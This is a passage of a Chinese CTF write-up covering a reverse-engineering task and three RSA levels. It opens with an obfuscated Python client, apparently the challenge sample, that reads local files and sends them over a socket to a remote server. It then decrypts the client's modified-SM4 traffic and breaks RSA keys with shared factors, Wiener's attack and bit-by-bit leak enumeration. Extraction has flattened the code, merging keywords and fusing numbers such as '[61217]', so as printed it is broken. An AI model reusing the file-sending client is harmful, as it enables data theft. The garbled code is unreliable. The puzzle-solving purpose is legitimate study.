_oe("C#-fVpm;c-emD"8321417): _ct.hex()}            _s = 2elif _s == 2:if _opaque_true():                sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{"8321417)) + b"\n")                _s = 4else:                _dead_calc()                _s = 3elif _s == 3:            _dead_calc()            _s = 4elif _s == 4:ifnot _opaque_false():                time.sleep(0.1)            _s = 5def_verify_cmd(cmd):    _state = 10    _hash_val = None    _valid = Falsewhile _state < 50:if _state == 10:if len(cmd) > 0:                _state = 20else:                _state = 49elif _state == 20:            _hash_val = hashlib.md5(cmd.encode()).hexdigest()            _state = 30elif _state == 30:if _opaque_true():                _valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U"8321417)                _state = 40else:                _dead_calc()                _state = 49elif _state == 40:if _valid:                _state = 50else:                _state = 49elif _state == 49:returnFalsereturn _validdef_get_server_host(args):    _s = 100    _host = Nonewhile _s < 200:if _s == 100:if len(args) > 2:                _s = 110else:                _s = 120elif _s == 110:            _host = args[2]            _s = 200elif _s == 120:if _opaque_true():                _host = ""            _s = 200elif _s == 200:if _opaque_false():                _host = _oe("Ywsm};Xh>fDF"8321417)            _s = 201return _hostdefmain():    _state = 0    _sock = None    _idx = 0    _printed_header = Falsewhile _state < 100:if _state == 0:if _opaque_false():                print(_oe("2B2dm_GLArX8"8321417))            _state = 1elif _state == 1:if len(sys.argv) < 2:                _state = 5else:                _state = 2elif _state == 2:if _verify_cmd(sys.argv[1]):                _state = 3else:                _state = 4elif _state == 3:ifnot _printed_header:                print("=" * 50)                print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)"8321417))                print("=" * 50)                _printed_header = True            _state = 10elif _state == 4:            print("错误:无效的命令")            _state = 99elif _state == 5:            print("用法:python client.py <command> [SERVER_HOST]")            _state = 99elif _state == 10:try:                _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                _state = 11except Exception:                _state = 99elif _state == 11:            _host = _get_server_host(sys.argv)            _state = 12elif _state == 12:try:                _sock.connect((_host, SERVER_PORT))                _state = 20except Exception as e:                print(f"[!] 连接失败:{e}")                _state = 99elif _state == 20:if _idx < len(FILES_TO_SEND):                _state = 21else:                _state = 30elif _state == 21:            _fname = FILES_TO_SEND[_idx]            _state = 22elif _state == 22:if os.path.exists(_fname):                _state = 23else:                _state = 28elif _state == 23:with open(_fname, "rb"as _f:                _data = _f.read()            _state = 24elif _state == 24:if _opaque_true():                print(f"[*] 发送文件")            _state = 25elif _state == 25:ifnot _opaque_false():                send_single_file(_sock, _fname, _data)            _state = 26elif _state == 26:            _idx += 1            _state = 20elif _state == 28:            print(f"[-] 文件不存在")            _state = 29elif _state == 29:            _idx += 1            _state = 20elif _state == 30:if _opaque_true():                time.sleep(0.2)            _state = 31elif _state == 31:if _sock:                _sock.close()            _state = 99elif _state == 99:breakif __name__ == _oe("42g9itaJ>C"8321417):    _dead_calc()if _opaque_true():        main()else:        _dead_calc()

主要问题是crypt_core.so。暴露出来只有个encode_data的接口。

image-20260314120210730

拖进ida看眼,搜索发现似乎看起来是魔改sm4。然后表是后面初始化的,在0xDB80,0x

DB00,0xDBA0。

可以读到:

import ctypesimport sysclassPyMethodDef(ctypes.Structure):    _fields_ = [        ("ml_name", ctypes.c_void_p),        ("ml_meth", ctypes.c_void_p),        ("ml_flags", ctypes.c_int),        ("ml_doc", ctypes.c_void_p),    ]classCyFuncObject(ctypes.Structure):    _fields_ = [        ("ob_refcnt", ctypes.c_ssize_t),        ("ob_type", ctypes.c_void_p),        ("m_ml", ctypes.POINTER(PyMethodDef)),        ("m_self", ctypes.c_void_p),        ("m_module", ctypes.c_void_p),        ("vectorcall", ctypes.c_void_p),        ("mm_class", ctypes.c_void_p),    ]sys.path.insert(0"/Users/libr/Desktop/CTF/1/pyi_extract")import crypt_coreobj = CyFuncObject.from_address(id(crypt_core.encode_data))entry = obj.m_ml.contents.ml_methbase = entry - 0x9820db80 = ctypes.string_at(base + 0xDB8016)db00 = ctypes.string_at(base + 0xDB00128)dba0 = ctypes.string_at(base + 0xDBA0256)

然后再写个反向操作

KEY = b"passvkcDKWLAA45o"defrotl32(value, shift):return ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFFdeftau(value):return (        DBA0[(value >> 24) & 0xFF] << 24        | DBA0[(value >> 16) & 0xFF] << 16        | DBA0[(value >> 8) & 0xFF] << 8        | DBA0[value & 0xFF]    )defl_transform(value):return value ^ rotl32(value, 2) ^ rotl32(value, 10) ^ rotl32(value, 18) ^ rotl32(value, 24)defl_prime_transform(value):return value ^ rotl32(value, 13) ^ rotl32(value, 23)defchunk_words(data, endian):    out = []for offset in range(0, len(data), 4):        part = data[offset : offset + 4]        out.append(int.from_bytes(part, endian))return outdefpad_pkcs7(data):    pad = 16 - (len(data) % 16)if pad == 0:        pad = 16return data + bytes([pad]) * paddefunpad_pkcs7(data):ifnot data:raise ValueError("empty data")    pad = data[-1]if pad < 1or pad > 16:raise ValueError("bad padding length")if data[-pad:] != bytes([pad]) * pad:raise ValueError("bad padding bytes")return data[:-pad]defexpand_round_keys(key, fk_endian, ck_endian):    mk = chunk_words(key, "big")    fk = chunk_words(DB80, fk_endian)    ck = chunk_words(DB00, ck_endian)    state = [mk[i] ^ fk[i] for i in range(4)]    rks = []for index in range(24):        value = state[index + 1] ^ state[index + 2] ^ state[index + 3] ^ ck[index]        value = l_prime_transform(tau(value))        rk = state[index] ^ value        state.append(rk)        rks.append(rk)return rksdefencrypt_block(block, rks, block_endian):    x = chunk_words(block, block_endian)for rk in rks:        value = x[-3] ^ x[-2] ^ x[-1] ^ rk        x.append(x[-4] ^ l_transform(tau(value)))    out = x[-1], x[-2], x[-3], x[-4]returnb"".join(word.to_bytes(4, block_endian) for word in out)defdecrypt_block(block, rks, block_endian):return encrypt_block(block, list(reversed(rks)), block_endian)defencrypt_ecb(data, rks, block_endian):    padded = pad_pkcs7(data)    out = bytearray()for offset in range(0, len(padded), 16):        out.extend(encrypt_block(padded[offset : offset + 16], rks, block_endian))return bytes(out)defdecrypt_ecb(data, rks, block_endian):if len(data) % 16 != 0:raise ValueError("ciphertext is not block aligned")    out = bytearray()for offset in range(0, len(data), 16):        out.extend(decrypt_block(data[offset : offset + 16], rks, block_endian))return unpad_pkcs7(bytes(out))

最后

import jsonwith open("./1.json""r", encoding="utf-8"as handle:    packets = json.load(handle)KEY = b"passvkcDKWLAA45o"rks = expand_round_keys(KEY, "little""little")for p in packets:    layers = p["_source"]["layers"]if"data"notin layers:continue    payload_hex = layers["data"]["data.data"].replace(":""")    payload = bytes.fromhex(payload_hex)    row = json.loads(payload)    print(row)    ciphertext = bytes.fromhex(row["ciphertext"])    plaintext = decrypt_ecb(ciphertext, rks, "big")    print(plaintext.decode("utf-8", errors="replace"))

crypto

rsa

level1

given 20 pem and we can just brute force and find (1,2),(4,15) share the same factor,

and key 6,12,17 can be factored with wiener (small d)

then just crt recover.

from Crypto.PublicKey import RSAfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.Util.number import long_to_bytesfrom math import gcd, isqrtfrom pathlib import Pathdefwiener_attack(n, e):defcontinued_fraction(num, den):        frac = []while den:            a = num // den            frac.append(a)            num, den = den, num - a * denreturn fracdefconvergents(frac):        n0, d0 = frac[0], 1yield n0, d0if len(frac) == 1:return        n1, d1 = frac[0] * frac[1] + 1, frac[1]yield n1, d1for a in frac[2:]:            n0, n1 = n1, a * n1 + n0            d0, d1 = d1, a * d1 + d0yield n1, d1    frac = continued_fraction(e, n)for k, d in convergents(frac):if k == 0or (e * d - 1) % k:continue        phi = (e * d - 1) // k        s = n - phi + 1        disc = s * s - 4 * nif disc >= 0:            t = isqrt(disc)if t * t == disc:                p = (s + t) // 2                q = (s - t) // 2if p * q == n:return d, p, qreturnNonedefbuild_private_keys(base):    keys_pub = {}for p in Path(base).glob('key-*.pem'):        idx = int(p.stem.split('-')[1])        keys_pub[idx] = RSA.import_key(p.read_bytes())    priv = {}# Keys 1 and 2 share a factor    n1, n2 = keys_pub[1].n, keys_pub[2].n    g = gcd(n1, n2)for idx, n in [(1, n1), (2, n2)]:        p, q = g, n // g        phi = (p - 1) * (q - 1)        d = pow(keys_pub[idx].e, -1, phi)        priv[idx] = RSA.construct((n, keys_pub[idx].e, d, p, q))# Keys 4 and 15 share a factor    n4, n15 = keys_pub[4].n, keys_pub[15].n    g = gcd(n4, n15)for idx, n in [(4, n4), (15, n15)]:        p, q = g, n // g        phi = (p - 1) * (q - 1)        d = pow(keys_pub[idx].e, -1, phi)        priv[idx] = RSA.construct((n, keys_pub[idx].e, d, p, q))# Wiener attack on keys 6, 12, 17for idx in [61217]:        result = wiener_attack(keys_pub[idx].n, keys_pub[idx].e)if result:            d, p, q = result            priv[idx] = RSA.construct((keys_pub[idx].n, keys_pub[idx].e, d, p, q))return keys_pub, privdefdecrypt_ciphertext(priv, pub, ciphertext):    nbits = pub.n.bit_length()    key_len = (nbits + 7) // 8if len(ciphertext) < key_len + 28:returnNone    header = ciphertext[:key_len]    nonce = ciphertext[key_len:key_len + 12]    body = ciphertext[key_len + 12:-16]    tag = ciphertext[-16:]try:if nbits >= 2048:# OAEP for larger keys            sk = PKCS1_OAEP.new(priv).decrypt(header)else:# Raw RSA for smaller keys            m = pow(int.from_bytes(header, 'big'), priv.d, priv.n)            sk = long_to_bytes(m).rjust(16b'\x00')        cipher = AES.new(sk, AES.MODE_GCM, nonce=nonce)        pt = cipher.decrypt_and_verify(body, tag)return ptexcept Exception:returnNonedefcrt(residues, moduli):    x = 0    M = 1for a, m in zip(residues, moduli):        t = ((a - x) % m) * pow(M, -1, m) % m        x += M * t        M *= mreturn x, Mbase = "./level1"print("[*] Building private keys...")keys_pub, priv = build_private_keys(base)cts = {}for p in Path(base).glob('ciphertext-*.bin'):    idx = int(p.stem.split('-')[1])    cts[idx] = p.read_bytes()print("[*] Decrypting ciphertexts...")working_pairs = []for kidx in sorted(priv):for cidx, ct in sorted(cts.items()):        pt = decrypt_ciphertext(priv[kidx], keys_pub[kidx], ct)if pt isnotNone:            working_pairs.append((cidx, kidx, priv[kidx]))            print(f"    Key {kidx} decrypts ciphertext {cidx}")plaintexts = {}for cidx, kidx, priv_key in working_pairs:    ct = cts[cidx]    pt = decrypt_ciphertext(priv_key, keys_pub[kidx], ct)if pt:        lines = pt.decode().splitlines()[1:]  # Skip header        plaintexts[cidx] = linesfor line_no in range(9):    residues = []    moduli = []    bits = Nonefor cidx in sorted(plaintexts):        d, k, b = [int(x, 16for x in plaintexts[cidx][line_no].split(':')]        residues.append(k)        moduli.append(d)        bits = b    x, M = crt(residues, moduli)    blen = (bits + 7) // 8if M.bit_length() > bits:        msg = x.to_bytes(blen, 'big')        print(f"{msg}")

level2

uses ed = 1 \pmod {\frac{\phi(n)}{\gcd(p-1,q-1)} } instead of ed = 1 \pmod {\phi(n)}

so Enumerate small values of g = gcd(p-1, q-1) with continued fraction.

from math import isqrtimport hashlibdefcontinued_fraction(num, den):    frac = []while den:        a = num // den        frac.append(a)        num, den = den, num - a * denreturn fracdefconvergents(frac):    n0, d0 = frac[0], 1yield n0, d0if len(frac) == 1:return    n1, d1 = frac[0] * frac[1] + 1, frac[1]yield n1, d1for a in frac[2:]:        n0, n1 = n1, a * n1 + n0        d0, d1 = d1, a * d1 + d0yield n1, d1n = xxxe = xxxfor g in range(25002):    frac = continued_fraction(g * e, n)for t, d in convergents(frac):if t == 0:continue        num = e * d - 1if (num * g) % t:continue        phi = (num * g) // t        s = n - phi + 1        disc = s * s - 4 * nif disc < 0:continue        sq = isqrt(disc)if sq * sq != disc:continue# Recover p and q        p = (s + sq) // 2        q = (s - sq) // 2if p * q == n:            print(f"[+] success")# Compute p + q            print(f"[*] {p + q = }")# Compute password hash            password = hashlib.sha256(str(p + q).encode()).hexdigest()            print(f"[+] {password = }")            exit(0)

level3

leak = ((p*A) ^ (q*B) ^ ((p&q)<<64) ^ ((p|q)<<48) ^ ((p^q)*C))       + ((p+q) mod 2^128)       ^ ((p*q) & MASK64)

p*q mod 2^k depends on p mod 2^k and q mod 2^k, and lowbit(leak,k) also just depends on lowbit(p,k), lowbit(q,k). so we can just enumrate from the lowest bit

from Crypto.Util.number import long_to_bytesn = xxxe = 65537c = xxxleak = xxxA = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210B = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEFC = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321MASK64 = (1 << 64) - 1MOD128 = (1 << 128) - 1T = n & MASK64Y = leak ^ Tdefcheck_leak(p, q, k):    mod = 1 << k    X = ((p * A) ^ (q * B) ^ (((p & q) << 64) % mod) ^         (((p | q) << 48) % mod) ^ ((p ^ q) * C)) % mod    S = (p + q) & MOD128return (X + S) % mod == Y % modstates = [(11)]for k in range(11536):    mod = 1 << (k + 1)    target_n = n % mod    target_y = Y % mod    new_states = []for p, q in states:for bp in (01):for bq in (01):                pp = p | (bp << k)                qq = q | (bq << k)if (pp * qq) % mod != target_n:continueifnot check_leak(pp, qq, k + 1):continue                new_states.append((pp, qq))    states = new_statesp, q = states[0]phi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)flag = long_to_bytes(m)print(f"{flag = }")
本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » 2026 软件系统安全赛 初赛 wp

猜你喜欢

  • 暂无文章